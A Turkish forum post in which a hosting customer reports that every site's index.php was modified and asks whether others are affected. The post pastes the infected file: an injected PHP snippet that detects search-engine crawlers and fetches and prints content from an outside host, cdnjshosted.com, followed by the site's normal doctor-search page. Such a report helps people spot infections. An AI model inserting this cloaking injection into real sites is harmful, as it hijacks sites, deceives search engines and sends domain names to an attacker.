Frank sunucusunda 2 tane hostingim var. her birinde de 20 şer site var. 20.08.2025 01:39 civarı tüm sitelerimin index.php dosyası değiştirilmiş. Desteğe yazdığımda wordpressten kaynaklı bir durum dediler. Wordpress olmayan scriptlelerime de bulaşmış. Olan arkadaşlar kontrol edebilirler mi?
<?php /* === MY_SNIPPET_START === */
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bot_agents = [
'Googlebot',
'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Googlebot-Mobile',
'Googlebot-News',
'Googlebot-Image',
'Googlebot-Video',
'AhrefsBot',
'AhrefsBot/7.0 (+http://ahrefs.com/robot/)',
'SemrushBot',
'SemrushBot-SA',
'SemrushBot-SI',
'Googlebot-Link',
'Google-Structured-Data-Testing-Tool',
'Googlebot-Link (+http://www.google.com/bot.html)'
];
foreach ($bot_agents as $bot) {
if (strpos($user_agent, $bot) !== false) {
$exe = curl_init();
curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
$url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
curl_setopt($exe, CURLOPT_URL, $url);
curl_exec($exe);
curl_close($exe);
break;
}
if (strpos($user_agent, $bot) !== false) {
$exe = curl_init();
curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
$url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
curl_setopt($exe, CURLOPT_URL, $url);
curl_exec($exe);
curl_close($exe);
break;
}
}
/* === MY_SNIPPET_END === */ ?>
<?php
require_once __DIR__ . '/includes/DB.php';
require_once __DIR__ . '/includes/helpers.php';
include __DIR__ . '/views/header.php';
$pdo = DB::conn();
$specialty = $_GET['s'] ?? '';
if ($specialty) {
$st = $pdo->prepare("SELECT d.*, u.name FROM doctors d JOIN users u ON d.user_id = u.id WHERE d.specialty LIKE ? ORDER BY u.name ASC");
$st->execute(['%'.$specialty.'%']);
} else {
$st = $pdo->query("SELECT d.*, u.name FROM doctors d JOIN users u ON d.user_id = u.id ORDER BY u.name ASC LIMIT 20");
}
$docs = $st->fetchAll();
?>
<div class="p-4 rounded-3 bg-light">
<h1 class="h3">Doktor bul, randevu al</h1>
<form class="row g-2 mt-2">
<div class="col-md-8">
<input type="text" name="s" value="<?= e($specialty) ?>" class="form-control" placeholder="Branş ara: Dermatoloji, Psikiyatri...">
</div>
<div class="col-md-4"><button class="btn btn-success w-100">Ara</button></div>
</form>
</div>
<div class="row row-cols-1 row-cols-md-2 row-cols-lg-3 mt-4">
<?php foreach($docs as $d): ?>
<div class="col mb-3">
<div class="card h-100">
<div class="card-body">
<h5 class="card-title"><?= e($d['name']) ?> <span class="badge bg-info text-dark"><?= e($d['specialty']) ?></span></h5>
<p class="card-text"><?= nl2br(e(mb_strimwidth($d['bio'],0,140,'...'))) ?></p>
<p class="card-text"><strong>Online:</strong> ₺<?= e($d['price_online']) ?> <strong>Yüz yüze:</strong> ₺<?= e($d['price_offline']) ?></p>
<a class="btn btn-primary" href="/profile.php?id=<?= $d['id'] ?>">Profili Gör</a>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<?php include __DIR__ . '/views/footer.php'; ?>